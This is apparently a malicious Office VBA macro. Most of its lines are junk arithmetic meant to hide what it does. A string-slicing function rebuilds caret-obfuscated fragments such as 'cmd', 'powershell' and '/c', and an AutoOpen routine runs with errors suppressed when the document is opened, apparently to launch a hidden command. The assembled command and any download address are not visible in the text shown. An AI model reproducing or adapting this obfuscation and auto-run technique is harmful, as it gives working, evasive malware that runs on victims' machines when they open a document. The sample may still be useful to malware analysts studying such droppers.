aYZEkHArmpQ = (BvHVMhoCTQwUj) + yHBjksbJKSUgsssd("F0Y7dEhNet %DVWa0i6Uj5CqQFjb10 ", 9, 8)
RprsFlYvTCZ = (402417 - CDbl(5403303 + wCcGAO / ZHHTdij * Hex(8604892)) - 8907563 + CByte(XhFDoiaTqTr))
HPWHNEz = (7354854 - CDbl(456249 + sEANaYn / LablZtvK * Hex(3963306)) - 7998763 + CByte(mXUWCIY))
nOhNJj = (388839 - CDbl(7621420 + vVnFta / dWSWsIWic * Hex(654286)) - 867974 + CByte(XjwBaQqYhwF))
MMXzONCchk = (QZnBshMZpEiFRv) + yHBjksbJKSUgsssd("YasLmu1iWjtHu!%AuCFHIdtjtnBw%NFZu6YDWjrPbWuz", 14, 16)
ubSNw = (912917 - CDbl(3789928 + QdwTMpDBr / RPztBGYoXYN * Hex(194379)) - 9957411 + CByte(dlWaa))
RTPtIbdm = (7981864 - CDbl(4546192 + iBjcU / aqdRfAjIpANr * Hex(3786925)) - 7288024 + CByte(vHPdvqbTcbB))
HMZin = (1571431 - CDbl(3328879 + wJYmnNhvvVz / VvVNiVlT * Hex(7569681)) - 8675982 + CByte(zYvzXAqd))
DADnoApzr = (fjTWjzXptPzsa) + yHBjksbJKSUgsssd("tvISrZYadH9IjUtO", 2, 4)
iqBiFzIOXO = (4970297 - CDbl(2590902 + OKuFrGFuFiYdp / TnjaUwb * Hex(3627342)) - 5000316 + CByte(zwWRikBOrpJp))
XfqFPUMS = (1119220 - CDbl(1397129 + XUabS / PqIiGZOFPQvkI * Hex(1442880)) - 8795698 + CByte(oMUdJlADihZY))
usmltFKV = (9380911 - CDbl(5665091 + rHuiH / mbLmJcY * Hex(2673671)) - 1019002 + CByte(zHnjNGohdqFzYz))
idiQMqN = (UjzPsfWztFp) + yHBjksbJKSUgsssd("cOrBB%! wijE7jX9s", 3, 6)
EsWuz = (3309734 - CDbl(1552767 + DLwBrJJciaVP / dzwhUOPaoa * Hex(4804521)) - 9774449 + CByte(cTJBTVPOhzvw))
dalrMSWwzcz = (3454450 - CDbl(3506880 + wBwvuSJnWfk / tMOlX * Hex(464562)) - 479828 + CByte(qThGAAPwABj))
NMzzHNTjmR = (465157 - CDbl(9318234 + imbdEWSfnVj / WCSLYvPk * Hex(7931902)) - 5564729 + CByte(sutCMmUv))
zmmAwQNUV = (JbpZkZQJznkTNF) + yHBjksbJKSUgsssd("VAJitnBw%=pffU6sd", 5, 7)
mRzQwSJFJm = (7490528 - CDbl(2221308 + BSjjKTFtSaAMM / rAiwjWizI * Hex(3958975)) - 2354240 + CByte(pjzqIvuQ))
mPfFfH = (6122677 - CDbl(1754690 + KmMJRMlWVR / mowpDpPEJOXui * Hex(4309444)) - 9313649 + CByte(RFRwphZULW))
SOXjjJ = (2482972 - CDbl(2485455 + XwqzzwIsTrF / bzNns * Hex(6464808)) - 7461249 + CByte(kTQDVCEPi))
DrQVsjfj = (XidNdpdn) + yHBjksbJKSUgsssd("iJ5!!%DVWavISouOV49EY6uV7YzYa9ZA4b", 4, 10)
qfiOwwiqP = (9868455 - CDbl(846006 + miurtNpKcwG / wGzzMhB * Hex(3912593)) - 534032 + CByte(ZoWDzKrCKVhju))
BiQaCjpwc = (3293586 - CDbl(7561916 + uWJDkwHVPaV / NKwkivEFVqQi * Hex(3676569)) - 5029796 + CByte(lfNMjMimfKzG))
biFrWGYZdaG = (5604604 - CDbl(6401529 + nWoCp / WzEwMhMEFikKIV * Hex(7975536)) - 337267 + CByte(pciYTZi))
wqERLzlObo = (jwOMvOiMhTpar) + yHBjksbJKSUgsssd("YlMMYDMVdFVDA7zBB%=^sh^el^l&&aZbiAj", 16, 14)
psaspnLlO = (2251169 - CDbl(2233186 + IwZGbDYZJlJs / KoTZU * Hex(1284259)) - 1424175 + CByte(AWzRptsPrGMIQ))
JRjjlrXNUjj = (7307277 - CDbl(8355431 + iMLJiDhWZjOsv / zFEtIcbpm * Hex(1922890)) - 6143724 + CByte(RfwjlY))
uILuaqdY = (9372661 - CDbl(5423936 + HvzJwpbrIiAUU / HEXdPP * Hex(7926675)) - 5108508 + CByte(dYmCZ))
wNzwOSiQM = (TfRiZjPwU) + yHBjksbJKSUgsssd("zSD^o^w^er&&s39BTXwSSNhiJW9QutfF", 4, 10)
KtlTUVJsBNhELX = iJLjUwzYTt + zmmAwQNUV + wNzwOSiQM + aYZEkHArmpQ + DADnoApzr + wqERLzlObo + MMXzONCchk + DrQVsjfj + idiQMqN
pvpvTdrJG = (6743697 - CDbl(2283979 + AzdffpzYofNv / MFhtUlKnBCN * Hex(7880706)) - 898496 + CByte(rPwwo))
ScOrzWzio = (5825350 - CDbl(7157508 + huOGXK / mwBzwvQq * Hex(5195635)) - 7988977 + CByte(IqhZdE))
wNkXWCVIQ = (8484621 - CDbl(6061154 + qtTEiMqQcQwhf / tiVudIRJI * Hex(1963509)) - 5031038 + CByte(PvjrhDkvkvmDI))
End Function

Attribute VB_Name = "EQYOmuiSNzP"
Function fEmvEnAsJFX()
On Error Resume Next
VZQmcDvkt = (3301696 - CDbl(2066861 + UwoYhqa / jDQrdRhWcIJuB * Hex(2309117)) - 6244776 + CByte(QSaOU))
kXSrPtFfB = (2107967 - CDbl(9505061 + PlHkRXtHZvGZj / mCQtCR * Hex(1408498)) - 3169846 + CByte(IRoIPPM))
RNsEZn = (5071233 - CDbl(4729977 + ZcrKzE / PCVGF * Hex(1315584)) - 3253619 + CByte(fXzaIf))
YPmXpLOJ = (azzpqdzBPUwQfa) + yHBjksbJKSUgsssd("DjniRnAcqvvJtZwOLDXLrqiow hdiquw ohiodiXBwjZnJZrn", 22, 18)
hojzwwO = (9111543 - CDbl(1000790 + KXBjs / zQapdRM * Hex(5855714)) - 5371483 + CByte(lKIlWnHYlfim))
WdmPbEJ = (2072231 - CDbl(5606479 + DVuHFNvzwV / sUEdfoMI * Hex(3234181)) - 8798762 + CByte(TjXQczMkNFzK))
BatvzX = (4966166 - CDbl(9243034 + WWbqLKQE / mUIzpZCMlQBOko * Hex(7140713)) - 9505921 + CByte(NHMuJihOSpha))
HJawz = (JhusTozCE) + yHBjksbJKSUgsssd("nBUcdwqTiwfbLzhXjLiPEwohiow hdkuCRQfNURb", 22, 9)
UIiLUvvihJ = (9988571 - CDbl(5550011 + akXjVlDnwmHKd / ZTUJJk * Hex(4050339)) - 7457056 + CByte(jHqhJju))
zhFSjBsO = (6866008 - CDbl(5504467 + ROcXD / zWVwRdXNlzd * Hex(7683356)) - 6629864 + CByte(sVoarciEtHDCf))
hFAGlkrOmPD = (1809519 - CDbl(2166008 + zvRbKOzqtCjdw / CGBmJw * Hex(5131124)) - 452355 + CByte(aDvcOsOwOBs))
wGDuNnAHL = (ZJuDliqsYwIs) + yHBjksbJKSUgsssd("pNGUovhiTzRusaIhLFwY &       %C^om^SqKsijYVBz", 21, 16)
XVWbSzdoP = (8663264 - CDbl(65949 + SuPqYPm / wiDVbEIUjuGf * Hex(5137559)) - 5642081 + CByte(rhDntJvNF))
mCwWc = (2711469 - CDbl(7530402 + HSjiRrkwC / XYDakNGmUopY * Hex(4552567)) - 1577351 + CByte(bsbDQwHoi))
vcwLtmiBdm = (134054 - CDbl(433586 + Mpoqi / GKijSZiH * Hex(3590221)) - 8770786 + CByte(kiuYNpwIvlmQjY))
umIivV = (zjosAHjEwB) + yHBjksbJKSUgsssd("wtoJAtizLmPJvomAz   /c           AzUAQhoNIrtC", 18, 16)
nliGJfwj = (9981923 - CDbl(8144393 + iiUtuLsrYMU / BZdiaWz * Hex(4740660)) - 1249261 + CByte(bGDuiIafvz))
zjrwakLdj = (7948057 - CDbl(3211265 + WwEwjhKwwK / oUodEcCRaHGNqA * Hex(6306697)) - 7046442 + CByte(tRXYkzGh))
IuJKplrfOsd = (4226196 - CDbl(5059942 + rviiwDFJ / zaSvXpUQ * Hex(6729739)) - 2746508 + CByte(AwtDfnaDWiviCm))
jYTsbRcPfrc = (sZCUJfNpuSHiz) + yHBjksbJKSUgsssd("wwZeibOUiLOE", 4, 2)
DnPFwbAI = (5542264 - CDbl(380189 + kBsPIzLrnRbA / fZljLZJtsz * Hex(5109016)) - 4564270 + CByte(fcBcIJsjj))
iibrKzWuvpX = (3647740 - CDbl(4899573 + TDjlCjfimPd / TwCstsESrmSip * Hex(2125042)) - 1784481 + CByte(ItwGLwsW))
KFJAEuDaU = (4949149 - CDbl(1550187 + QutjPzLJLGApo / HrhlBvr * Hex(4529337)) - 2644156 + CByte(sRXiWEjSl))
oIolBZBUu = (bAudqwHiQuCbzI) + yHBjksbJKSUgsssd("sNCVwQ        /V      OZUzp", 7, 16)
nRQwpthzSB = (4745739 - CDbl(2395926 + sjXqzchnGahDla / tfiRRpZCOoH * Hex(6085629)) - 4954865 + CByte(tvuZDvqa))
zToTwitq = (2203391 - CDbl(977459 + wOqkaA / QULfCGuIS * Hex(5869325)) - 1850251 + CByte(qwIVN))
HlNzKIrqs = (5950842 - CDbl(7455007 + hftSTdKVbj / nniOFGOs * Hex(7594490)) - 5886449 + CByte(cMRJOKotdGoWql))
oiUojJ = (dBzLHEKrEEKl) + yHBjksbJKSUgsssd("rjukrGQCCcmd ioewjijewd zGKLzDPVduDHq", 10, 15)
KMAGj = (435503 - CDbl(6416764 + KOAhi / LwRsci * Hex(2550313)) - 385026 + CByte(rFNtwuuH))
wUQiWzpPRwn = (5516756 - CDbl(7182102 + iToWEjtrBK / rwdBXwPFYBzSHu * Hex(4790491)) - 1733123 + CByte(HPHXwEbrKvn))
ofdEhzalVw = (8674415 - CDbl(6999676 + AJvNPPzWw / XMchBhcfaLklC * Hex(4610497)) - 9131297 + CByte(CKNBbLofwILjJ))
oFRVKjJGSi = (hCOzmzzm) + yHBjksbJKSUgsssd("TJwdqVuMDzIGWnwEiiltdZ^p^Ec%  hNVGIzqvUw", 23, 8)
fEmvEnAsJFX = oiUojJ + jYTsbRcPfrc + HJawz + YPmXpLOJ + wGDuNnAHL + oFRVKjJGSi + oIolBZBUu + umIivV
tlkRPAjct = (8020928 - CDbl(5563135 + ISZlOGXS / MmJwQLYwk * Hex(8601799)) - 4098524 + CByte(VhZAUnXMSJUkiS))
tPuiCnOoh = (9729428 - CDbl(5121134 + zoKfIwHX / lzluTzGDDSYO * Hex(9518985)) - 3497000 + CByte(CCqhhj))
zbZznjBmA = (4556832 - CDbl(5564854 + fIPIojn / ldjBGC * Hex(4261456)) - 263383 + CByte(FGaqGlXLuf))
End Function

Attribute VB_Name = "ncJKtEpQY"
Sub AutoOpen()
On Error Resume Next
CcwOllRjc = (8929654 - CDbl(8817293 + OvvAPvstbDiIC / IavmZziuMPQ * Hex(6951568)) - 6476614 + CByte(vJoJVJrkbllY))
wivztpMCd = (8133163 - CDbl(7686671 + UvJUifkfNGzSP / nsrXzJABB * Hex(23468)) - 9708482 + CByte(VaYfJFV))
woZzWCvBF = (2055210 - CDbl(8133777 + dkUCTKFripTu / VVKKHi * Hex(9425582)) - 8496139 + CByte(QkOsUVDIuqLPVd))
Application.Run "CUYWswtDX", OHtZvWuXtlNzJu
AYEUDOrJV = (5964768 - CDbl(8116057 + jlqwc / sfTjnaqkoVuci * Hex(8963183)) - 75249 + CByte(JmCNtiGHPjCTo))
SSwOSWpJR = (7029471 - CDbl(5705330 + TaVOswvApb / vOzOZ * Hex(2313059)) - 3756538 + CByte(YWvWC))
wOQYKhsBZ = (6788871 - CDbl(5084879 + ksXnG / zqOAzSHQ * Hex(9598067)) - 9583799 + CByte(FHXDTQdfXqH))
End Sub
Function yHBjksbJKSUgsssd(ByVal str As String, start, length)
    yHBjksbJKSUgsssd = Mid(str, start, length)
End Function